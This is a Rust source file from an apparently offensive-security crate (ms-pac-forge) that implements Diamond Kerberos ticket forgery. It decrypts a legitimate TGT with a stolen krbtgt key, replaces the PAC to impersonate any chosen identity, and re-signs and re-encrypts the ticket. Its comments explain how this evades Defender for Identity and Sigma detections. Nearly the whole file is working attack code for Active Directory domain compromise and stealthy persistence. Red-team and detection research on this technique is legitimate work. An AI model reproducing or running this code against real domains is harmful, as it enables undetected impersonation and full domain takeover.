ms-pac-forge 0.1.2

MS-PAC (Privilege Attribute Certificate) marshaling + Golden/Silver Kerberos ticket forgery, pure-Rust, byte-validated against a live Server 2025 KDC (pre-alpha, extracted from adhammer)
Documentation
//! Diamond ticket forgery.
//!
//! # Why not just Golden?
//!
//! Golden tickets are cheap to detect. The classic recipe produces telltale
//! artefacts: an `EncTicketPart` built from scratch with rounded 10-year
//! lifetimes, a synthesized session key, `transited = 0`, and PAC fields —
//! `PAC_REQUESTOR`, `PAC_UPN_DNS_INFO`, `PAC_CLIENT_CLAIMS_INFO` — that never
//! match what a real KDC would emit for that account. Modern detections
//! (Defender for Identity, Purview, community Sigma rules) alert on those
//! seams.
//!
//! Diamond takes a **real** TGT for any identity whose krbtgt-decrypt is
//! possible (you needed krbtgt to make a Golden anyway — same key here) and
//! only swaps the identity-carrying PAC bytes. The outer ticket flags,
//! `starttime`, `endtime`, `renew-till`, session key type and every other
//! `EncTicketPart` field come straight from what the DC issued — so
//! wire-level fingerprints of "forged vs authentic" collapse.
//!
//! # Input
//!
//! * `real_ticket_cipher` — the sealed `EncryptedData.cipher` from a legitimate
//!   AS-REP TGT (the enc-part of the `Ticket` object).
//! * `krbtgt_key` — same requirement as Golden: 32-byte AES256 or 16-byte NT
//!   hash for RC4. From a DCSync of `krbtgt`.
//! * `new_identity` — who the forged ticket should authorise as.
//!
//! # What is preserved from the real ticket
//!
//! * `flags`, `starttime`, `endtime`, `renew_till`, `authtime`
//! * The ticket's session key (`key`) and etype
//! * `transited` encoding
//! * `caddr` (usually absent)
//!
//! # What is replaced
//!
//! * The entire PAC (KERB_VALIDATION_INFO + CLIENT_INFO + REQUESTOR +
//!   ATTRIBUTES + both signatures) — rebuilt from `new_identity` and
//!   re-signed with `krbtgt_key`.
//!
//! # What still fires
//!
//! Diamond tickets are still cryptographic forgeries. If the target
//! environment has enabled KB5020805 PAC-signature enforcement AND you sign
//! with the wrong key AND krbtgt has since rotated, verification fails. What
//! Diamond gets you is signal blending, not cryptographic immunity.

use anyhow::{anyhow, Result};
use picky_asn1::wrapper::{
    Asn1SequenceOf, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
    ExplicitContextTag3, IntegerAsn1, OctetStringAsn1, Optional,
};
use picky_asn1_der::application_tag::ApplicationTag;
use picky_krb::constants::types::NT_SRV_INST;
use picky_krb::crypto::{Cipher, CipherSuite};
use picky_krb::data_types::{
    AuthorizationData, AuthorizationDataInner, EncTicketPart, EncryptedData, Ticket, TicketInner,
};

use crate::checksum;
use crate::forge::ForgedTicket;
use crate::pac::{assemble_pac, decrypt_ticket_pac_aes256, decrypt_ticket_pac_rc4, ForgeIdentity};
use crate::util::{krb_string, principal, ETYPE_AES256, ETYPE_RC4_HMAC};

const KEY_USAGE_TICKET: i32 = 2;

fn aes256() -> Box<dyn Cipher> {
    CipherSuite::Aes256CtsHmacSha196.cipher()
}

/// Forge a **Diamond** ticket: identity swap on a real TGT.
///
/// Decrypts `real_ticket_cipher` with `krbtgt_key`, keeps every non-PAC field
/// of the recovered `EncTicketPart`, and rebuilds the PAC from `new_identity`
/// signed under the same key. Re-encrypts and returns a full `Ticket`
/// addressed to `krbtgt/REALM`.
///
/// `rc4 = true` selects RC4-HMAC (etype 23, NT-hash key). Only set this if
/// the real ticket was RC4 to begin with — mixing etypes here yields a ticket
/// the KDC will reject.
pub fn forge_diamond_tgt(
    real_ticket_cipher: &[u8],
    krbtgt_key: &[u8],
    new_identity: &ForgeIdentity,
    realm: &str,
    rc4: bool,
) -> Result<ForgedTicket> {
    let (etp, _old_pac) = if rc4 {
        decrypt_ticket_pac_rc4(real_ticket_cipher, krbtgt_key)?
    } else {
        decrypt_ticket_pac_aes256(real_ticket_cipher, krbtgt_key)?
    };
    let new_pac = assemble_pac(new_identity, krbtgt_key, krbtgt_key, rc4)?;
    build_diamond_ticket(etp, new_pac, krbtgt_key, realm, rc4, new_identity)
}

/// Rebuild an `EncTicketPart`'s authorization-data with `new_pac`, re-encrypt
/// under `ticket_key`, and wrap in a fresh `Ticket` addressed to
/// `krbtgt/REALM`. Exposed for callers that already have a decrypted
/// `EncTicketPart` (e.g. a fuzz harness or a Sapphire-style pipeline that
/// extracted the PAC through S4U2Self rather than decryption).
pub fn build_diamond_ticket(
    mut etp: EncTicketPart,
    new_pac: Vec<u8>,
    ticket_key: &[u8],
    realm: &str,
    rc4: bool,
    new_identity: &ForgeIdentity,
) -> Result<ForgedTicket> {
    let realm_up = realm.to_uppercase();
    let etype = if rc4 { ETYPE_RC4_HMAC } else { ETYPE_AES256 };

    let cname = principal(
        picky_krb::constants::types::NT_PRINCIPAL,
        &[new_identity.user.as_str()],
    );
    etp.crealm = ExplicitContextTag2::from(krb_string(&realm_up));
    etp.cname = ExplicitContextTag3::from(cname.clone());

    let win2k = AuthorizationDataInner {
        ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x00, 0x80])),
        ad_data: ExplicitContextTag1::from(OctetStringAsn1(new_pac)),
    };
    let inner: AuthorizationData = Asn1SequenceOf::from(vec![win2k]);
    let inner_der =
        picky_asn1_der::to_vec(&inner).map_err(|e| anyhow!("encode new PAC AD: {e}"))?;
    let if_rel = AuthorizationDataInner {
        ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x01])),
        ad_data: ExplicitContextTag1::from(OctetStringAsn1(inner_der)),
    };
    let auth: AuthorizationData = Asn1SequenceOf::from(vec![if_rel]);
    etp.authorization_data =
        Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag10::from(auth)));

    let etp_app: ApplicationTag<EncTicketPart, 3> = ApplicationTag(etp);
    let etp_der = picky_asn1_der::to_vec(&etp_app)
        .map_err(|e| anyhow!("encode re-signed EncTicketPart: {e}"))?;
    let enc = if rc4 {
        checksum::rc4_encrypt(ticket_key, KEY_USAGE_TICKET, &etp_der, None)
    } else {
        aes256()
            .encrypt(ticket_key, KEY_USAGE_TICKET, &etp_der)
            .map_err(|e| anyhow!("encrypt EncTicketPart: {e}"))?
    };

    let ticket = Ticket::from(TicketInner {
        tkt_vno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
        realm: ExplicitContextTag1::from(krb_string(&realm_up)),
        sname: ExplicitContextTag2::from(principal(NT_SRV_INST, &["krbtgt", &realm_up])),
        enc_part: ExplicitContextTag3::from(EncryptedData {
            etype: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
            kvno: Optional::from(None),
            cipher: ExplicitContextTag2::from(OctetStringAsn1(enc)),
        }),
    });

    // Extract session key from the modified etp for the returned ForgedTicket.
    let session_key = ticket_session_key_bytes(&ticket, ticket_key, rc4)?;
    Ok(ForgedTicket::from_parts(
        ticket,
        session_key,
        cname,
        realm_up,
    ))
}

/// Re-decrypt the just-encrypted ticket to pull the session key out. Cheap
/// (one AES/RC4 round-trip) and avoids duplicating the etp-key extraction
/// logic. If this ever hot-paths, cache the key in `build_diamond_ticket`.
fn ticket_session_key_bytes(ticket: &Ticket, ticket_key: &[u8], rc4: bool) -> Result<Vec<u8>> {
    let cipher: &[u8] = &ticket.0.enc_part.0.cipher.0 .0;
    let plain = if rc4 {
        checksum::rc4_decrypt(ticket_key, KEY_USAGE_TICKET, cipher)
            .map_err(|e| anyhow!("re-decrypt for session-key extract (rc4): {e}"))?
    } else {
        aes256()
            .decrypt(ticket_key, KEY_USAGE_TICKET, cipher)
            .map_err(|e| anyhow!("re-decrypt for session-key extract (aes256): {e}"))?
    };
    let etp: EncTicketPart = picky_asn1_der::from_bytes::<ApplicationTag<EncTicketPart, 3>>(&plain)
        .map_err(|e| anyhow!("re-decode EncTicketPart: {e}"))?
        .0;
    Ok(etp.key.0.key_value.0 .0)
}